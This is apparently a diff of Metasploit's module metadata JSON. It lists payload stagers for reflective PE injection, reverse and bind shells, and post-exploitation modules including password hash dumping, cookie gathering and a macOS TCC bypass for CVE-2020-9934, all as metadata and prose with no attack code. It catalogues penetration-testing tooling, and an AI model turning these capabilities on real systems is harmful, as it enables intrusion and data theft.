"path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "windows/vncinject/bind_ipv6_tcp",
@@ -163753,7 +166457,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/vncinject/bind_ipv6_tcp_uuid",
@@ -163788,7 +166492,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-27 19:24:51 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/vncinject/bind_named_pipe",
@@ -163859,7 +166563,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp.rb",
"is_install_path": true,
"ref_name": "windows/vncinject/bind_tcp",
@@ -163897,7 +166601,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/vncinject/bind_tcp_rc4",
@@ -163933,7 +166637,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/vncinject/bind_tcp_uuid",
@@ -164040,7 +166744,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-12-08 06:24:02 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_http.rb",
"is_install_path": true,
"ref_name": "windows/vncinject/reverse_http",
@@ -164217,7 +166921,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-15 15:10:26 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/vncinject/reverse_tcp",
@@ -164290,7 +166994,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb",
"is_install_path": true,
"ref_name": "windows/vncinject/reverse_tcp_dns",
@@ -164328,7 +167032,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-15 15:10:26 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/vncinject/reverse_tcp_rc4",
@@ -164366,7 +167070,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb",
"is_install_path": true,
"ref_name": "windows/vncinject/reverse_tcp_rc4_dns",
@@ -164402,7 +167106,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-15 15:10:26 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/vncinject/reverse_tcp_uuid",
@@ -164438,7 +167142,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-11-21 13:53:33 +0000",
"mod_time": "2020-07-08 15:33:39 +0000",
"path": "/modules/payloads/stagers/windows/reverse_winhttp.rb",
"is_install_path": true,
"ref_name": "windows/vncinject/reverse_winhttp",
@@ -165090,7 +167794,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-04-24 12:02:45 +0000",
"mod_time": "2020-06-24 09:25:53 +0000",
"path": "/modules/payloads/singles/windows/x64/meterpreter_bind_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/x64/meterpreter_bind_named_pipe",
@@ -165125,7 +167829,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-04-24 12:02:45 +0000",
"mod_time": "2020-06-24 09:25:53 +0000",
"path": "/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb",
"is_install_path": true,
"ref_name": "windows/x64/meterpreter_bind_tcp",
@@ -165160,7 +167864,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-04-24 12:02:45 +0000",
"mod_time": "2020-06-24 09:25:53 +0000",
"path": "/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb",
"is_install_path": true,
"ref_name": "windows/x64/meterpreter_reverse_http",
@@ -165195,7 +167899,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-04-24 12:02:45 +0000",
"mod_time": "2020-06-24 09:25:53 +0000",
"path": "/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb",
"is_install_path": true,
"ref_name": "windows/x64/meterpreter_reverse_https",
@@ -165230,7 +167934,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-04-24 12:02:45 +0000",
"mod_time": "2020-06-24 09:25:53 +0000",
"path": "/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "windows/x64/meterpreter_reverse_ipv6_tcp",
@@ -165265,7 +167969,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-04-24 12:02:45 +0000",
"mod_time": "2020-06-24 09:25:53 +0000",
"path": "/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/x64/meterpreter_reverse_tcp",
@@ -165276,6 +167980,359 @@
},
"needs_cleanup": false
},
"payload_windows/x64/peinject/bind_ipv6_tcp": {
"name": "Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager",
"fullname": "payload/windows/x64/peinject/bind_ipv6_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for an IPv6 connection (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp.rb",
"is_install_path": true,
"ref_name": "windows/x64/peinject/bind_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/x64/peinject/bind_ipv6_tcp_uuid": {
"name": "Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support",
"fullname": "payload/windows/x64/peinject/bind_ipv6_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"sf <stephen_fewer@harmonysecurity.com>",
"OJ Reeves"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for an IPv6 connection with UUID Support (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/x64/bind_ipv6_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/x64/peinject/bind_ipv6_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/x64/peinject/bind_named_pipe": {
"name": "Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager",
"fullname": "payload/windows/x64/peinject/bind_named_pipe",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"UserExistsError"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a pipe connection (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-02-15 17:37:33 +0000",
"path": "/modules/payloads/stagers/windows/x64/bind_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/x64/peinject/bind_named_pipe",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/x64/peinject/bind_tcp": {
"name": "Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager",
"fullname": "payload/windows/x64/peinject/bind_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a connection (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/x64/bind_tcp.rb",
"is_install_path": true,
"ref_name": "windows/x64/peinject/bind_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/x64/peinject/bind_tcp_rc4": {
"name": "Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)",
"fullname": "payload/windows/x64/peinject/bind_tcp_rc4",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"max3raza",
"RageLtMan"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-06-04 07:13:34 +0000",
"path": "/modules/payloads/stagers/windows/x64/bind_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/x64/peinject/bind_tcp_rc4",
"check": false,
"post_auth": true,
"default_credential": true,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/x64/peinject/bind_tcp_uuid": {
"name": "Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)",
"fullname": "payload/windows/x64/peinject/bind_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"sf <stephen_fewer@harmonysecurity.com>",
"OJ Reeves"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Listen for a connection with UUID Support (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/x64/bind_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/x64/peinject/bind_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/x64/peinject/reverse_named_pipe": {
"name": "Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager",
"fullname": "payload/windows/x64/peinject/reverse_named_pipe",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"OJ Reeves"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker via a named pipe pivot",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-08-15 18:10:44 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_named_pipe.rb",
"is_install_path": true,
"ref_name": "windows/x64/peinject/reverse_named_pipe",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/x64/peinject/reverse_tcp": {
"name": "Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager",
"fullname": "payload/windows/x64/peinject/reverse_tcp",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"sf <stephen_fewer@harmonysecurity.com>"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_tcp.rb",
"is_install_path": true,
"ref_name": "windows/x64/peinject/reverse_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/x64/peinject/reverse_tcp_rc4": {
"name": "Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)",
"fullname": "payload/windows/x64/peinject/reverse_tcp_rc4",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"hdm <x@hdm.io>",
"skape <mmiller@hick.org>",
"sf <stephen_fewer@harmonysecurity.com>",
"mihi",
"max3raza",
"RageLtMan"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-03-04 17:43:15 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_tcp_rc4.rb",
"is_install_path": true,
"ref_name": "windows/x64/peinject/reverse_tcp_rc4",
"check": false,
"post_auth": true,
"default_credential": true,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/x64/peinject/reverse_tcp_uuid": {
"name": "Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)",
"fullname": "payload/windows/x64/peinject/reverse_tcp_uuid",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "payload",
"author": [
"ege <egebalci@pm.me>",
"sf <stephen_fewer@harmonysecurity.com>",
"OJ Reeves"
],
"description": "Inject a custom native PE file into the exploited process using a reflective PE loader. The reflective PE\n loader will execute the pre-mapped PE image starting from the address of entry after performing image base\n relocation and API address resolution. This module requires a PE file that contains relocation data and a\n valid (uncorrupted) import table. PE files with CLR(C#/.NET executables), bounded imports, and TLS callbacks\n are not currently supported. Also PE files which use resource loading might crash.\n . Connect back to the attacker with UUID Support (Windows x64)",
"references": [
],
"platform": "Windows",
"arch": "x64",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"path": "/modules/payloads/stagers/windows/x64/reverse_tcp_uuid.rb",
"is_install_path": true,
"ref_name": "windows/x64/peinject/reverse_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": false
},
"payload_windows/x64/pingback_reverse_tcp": {
"name": "Windows x64 Pingback, Reverse TCP Inline",
"fullname": "payload/windows/x64/pingback_reverse_tcp",
@@ -166521,39 +169578,6 @@
},
"needs_cleanup": null
},
"post_brocade/gather/enum_brocade": {
"name": "Brocade Gather Device General Information",
"fullname": "post/brocade/gather/enum_brocade",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"h00die"
],
"description": "This module collects Brocade device information and configuration.\n This module has been tested against an icx6430 running 08.0.20T311.",
"references": [
],
"platform": "Brocade",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-06-01 22:23:01 +0000",
"path": "/modules/post/brocade/gather/enum_brocade.rb",
"is_install_path": true,
"ref_name": "brocade/gather/enum_brocade",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"post_bsd/gather/hashdump": {
"name": "BSD Dump Password Hashes",
"fullname": "post/bsd/gather/hashdump",
@@ -166587,39 +169611,6 @@
},
"needs_cleanup": null
},
"post_cisco/gather/enum_cisco": {
"name": "Cisco Gather Device General Information",
"fullname": "post/cisco/gather/enum_cisco",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"Carlos Perez <carlos_perez@darkoperator.com>"
],
"description": "This module collects a Cisco IOS or NXOS device information and configuration.",
"references": [
],
"platform": "Cisco",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-07-21 20:57:47 +0000",
"path": "/modules/post/cisco/gather/enum_cisco.rb",
"is_install_path": true,
"ref_name": "cisco/gather/enum_cisco",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"post_firefox/gather/cookies": {
"name": "Firefox Gather Cookies from Privileged Javascript Shell",
"fullname": "post/firefox/gather/cookies",
@@ -167118,39 +170109,6 @@
},
"needs_cleanup": null
},
"post_juniper/gather/enum_juniper": {
"name": "Juniper Gather Device General Information",
"fullname": "post/juniper/gather/enum_juniper",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"h00die"
],
"description": "This module collects a Juniper ScreenOS and JunOS device information and configuration.",
"references": [
],
"platform": "Juniper",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-07-30 14:20:01 +0000",
"path": "/modules/post/juniper/gather/enum_juniper.rb",
"is_install_path": true,
"ref_name": "juniper/gather/enum_juniper",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"post_linux/busybox/enum_connections": {
"name": "BusyBox Enumerate Connections",
"fullname": "post/linux/busybox/enum_connections",
@@ -167614,6 +170572,39 @@
},
"needs_cleanup": null
},
"post_linux/gather/enum_containers": {
"name": "Linux Container Enumeration",
"fullname": "post/linux/gather/enum_containers",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"stealthcopter"
],
"description": "This module attempts to enumerate containers on the target machine and optionally run a command on each active container found.\n Currently it supports Docker, LXC and RKT.",
"references": [
],
"platform": "Linux",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-08-06 09:31:17 +0000",
"path": "/modules/post/linux/gather/enum_containers.rb",
"is_install_path": true,
"ref_name": "linux/gather/enum_containers",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"post_linux/gather/enum_nagios_xi": {
"name": "Nagios XI Enumeration",
"fullname": "post/linux/gather/enum_nagios_xi",
@@ -170217,7 +173208,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2017-07-24 06:26:21 +0000",
"mod_time": "2020-07-24 10:28:07 +0000",
"path": "/modules/post/multi/manage/sudo.rb",
"is_install_path": true,
"ref_name": "multi/manage/sudo",
@@ -170226,7 +173217,7 @@
"default_credential": false,
"notes": {
},
"needs_cleanup": null
"needs_cleanup": true
},
"post_multi/manage/system_session": {
"name": "Multi Manage System Remote TCP Shell Session",
@@ -170344,7 +173335,7 @@
"references": [
],
"platform": "AIX,Android,Apple_iOS,BSD,BSDi,Brocade,Cisco,Firefox,FreeBSD,HPUX,Hardware,Irix,Java,JavaScript,Juniper,Linux,Mainframe,Multi,NetBSD,Netware,NodeJS,OSX,OpenBSD,PHP,Python,R,Ruby,Solaris,Unifi,Unix,Unknown,Windows",
"platform": "AIX,Android,Apple_iOS,Arista,BSD,BSDi,Brocade,Cisco,Firefox,FreeBSD,HPUX,Hardware,Irix,Java,JavaScript,Juniper,Linux,Mainframe,Mikrotik,Multi,NetBSD,Netware,NodeJS,OSX,OpenBSD,PHP,Python,R,Ruby,Solaris,Unifi,Unix,Unknown,Windows",
"arch": "",
"rport": null,
"autofilter_ports": null,
@@ -170427,6 +173418,171 @@
},
"needs_cleanup": null
},
"post_networking/gather/enum_brocade": {
"name": "Brocade Gather Device General Information",
"fullname": "post/networking/gather/enum_brocade",
"aliases": [
"post/brocade/gather/enum_brocade"
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"h00die"
],
"description": "This module collects Brocade device information and configuration.\n This module has been tested against an icx6430 running 08.0.20T311.",
"references": [
],
"platform": "Brocade",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-06-21 16:36:16 +0000",
"path": "/modules/post/networking/gather/enum_brocade.rb",
"is_install_path": true,
"ref_name": "networking/gather/enum_brocade",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"post_networking/gather/enum_cisco": {
"name": "Cisco Gather Device General Information",
"fullname": "post/networking/gather/enum_cisco",
"aliases": [
"post/cisco/gather/enum_cisco"
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"Carlos Perez <carlos_perez@darkoperator.com>"
],
"description": "This module collects a Cisco IOS or NXOS device information and configuration.",
"references": [
],
"platform": "Cisco",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-08-19 07:46:55 +0000",
"path": "/modules/post/networking/gather/enum_cisco.rb",
"is_install_path": true,
"ref_name": "networking/gather/enum_cisco",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"post_networking/gather/enum_f5": {
"name": "F5 Gather Device General Information",
"fullname": "post/networking/gather/enum_f5",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"h00die"
],
"description": "This module collects a F5's device information and configuration.",
"references": [
],
"platform": "",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-12 10:07:23 +0000",
"path": "/modules/post/networking/gather/enum_f5.rb",
"is_install_path": true,
"ref_name": "networking/gather/enum_f5",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"post_networking/gather/enum_juniper": {
"name": "Juniper Gather Device General Information",
"fullname": "post/networking/gather/enum_juniper",
"aliases": [
"post/juniper/gather/enum_juniper"
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"h00die"
],
"description": "This module collects a Juniper ScreenOS and JunOS device information and configuration.",
"references": [
],
"platform": "Juniper",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-07-16 10:10:11 +0000",
"path": "/modules/post/networking/gather/enum_juniper.rb",
"is_install_path": true,
"ref_name": "networking/gather/enum_juniper",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"post_networking/gather/enum_mikrotik": {
"name": "Mikrotik Gather Device General Information",
"fullname": "post/networking/gather/enum_mikrotik",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"h00die"
],
"description": "This module collects Mikrotik device information and configuration.\n This module has been tested against RouterOS 6.45.9.",
"references": [
],
"platform": "Mikrotik",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-07-30 11:29:25 +0000",
"path": "/modules/post/networking/gather/enum_mikrotik.rb",
"is_install_path": true,
"ref_name": "networking/gather/enum_mikrotik",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"needs_cleanup": null
},
"post_osx/admin/say": {
"name": "OS X Text to Speech Utility",
"fullname": "post/osx/admin/say",
@@ -170526,6 +173682,46 @@
},
"needs_cleanup": null
},
"post_osx/escalate/tccbypass": {
"name": "Bypass the macOS TCC Framework",
"fullname": "post/osx/escalate/tccbypass",
"aliases": [
],
"rank": 300,
"disclosure_date": null,
"type": "post",
"author": [
"mattshockl",
"timwr"
],
"description": "This module exploits a vulnerability in the TCC daemon on macOS Catalina\n (<= 10.15.5) in order to grant TCC entitlements. The TCC daemon can be\n manipulated (by setting the HOME environment variable) to use a new user\n controlled location as the TCC database. We can then grant ourselves\n entitlements by inserting them into this new database.",
"references": [
"CVE-2020-9934",
"URL-https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8",
"URL-https://github.com/mattshockl/CVE-2020-9934"
],
"platform": "OSX",
"arch": "",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2020-09-11 15:07:52 +0000",
"path": "/modules/post/osx/escalate/tccbypass.rb",
"is_install_path": true,
"ref_name": "osx/escalate/tccbypass",
"check": true,
"post_auth": false,
"default_credential": false,
"notes": {
"SideEffects": [
"artifacts-on-disk",
"screen-effects"
]
},
"needs_cleanup": null
},
"post_osx/gather/apfs_encrypted_volume_passwd": {
"name": "Mac OS X APFS Encrypted Volume Password Disclosure",
"fullname": "post/osx/gather/apfs_encrypted_volume_passwd",
@@ -170815,7 +174011,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2019-04-15 21:01:05 +0000",
"mod_time": "2020-08-18 16:02:24 +0000",
"path": "/modules/post/osx/gather/enum_osx.rb",
"is_install_path": true,
"ref_name": "osx/gather/enum_osx",
@@ -171762,9 +174958,10 @@
"disclosure_date": null,
"type": "post",
"author": [
"h4ng3r <h4ng3r@computerpirate.me>"
"h4ng3r <h4ng3r@computerpirate.me>",
"h00die"
],
"description": "This module will execute the BloodHound C# Ingestor (aka SharpHound) to gather sessions, local admin, domain trusts and more. With this information BloodHound will easily identify highly complex attack paths that would otherwise be impossible to quickly identify within an Active Directory environment.",
"description": "This module will execute the BloodHound C# Ingestor (aka SharpHound) to gather sessions, local admin, domain trusts and more.\n With this information BloodHound will easily identify highly complex attack paths that would otherwise be impossible to quickly\n identify within an Active Directory environment.",
"references": [
],
@@ -171774,7 +174971,7 @@
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
"mod_time": "2018-10-16 17:53:02 +0000",
"mod_time": "2020-06-03 20:46:39 +0000",
"path": "/modules/post/windows/gather/bloodhound.rb",
"is_install_path": true,
"ref_name": "windows/gather/bloodhound",
@@ -171782,6 +174979,12 @@
"post_auth": false,
"default_credential": false,
"notes": {
"AKA": [
"sharphound"
],
"SideEffects": [
"artifacts-on-disk"
]
},
"needs_cleanup": null
},
@@ -171832,7 +175035,7 @@
"Carlos Perez <carlos_perez@darkoperator.com>",
"Aaron Soto <aaron_soto@rapid7.com>"
],
"description": "This module attempts to determine whether the system is running\n inside of a virtual environment and if so, which one. This\n module supports detection of Hyper-V, VMWare, Virtual PC,\n VirtualBox, Xen, and QEMU.",
"description": "This module attempts to determine whether the system is running\n inside of a virtual environment and if so, which one. This\n module supports detection of Hyper-V, VMWare, Virtual PC,\n VirtualBox, Xen, and QEMU.",
"references": [
],
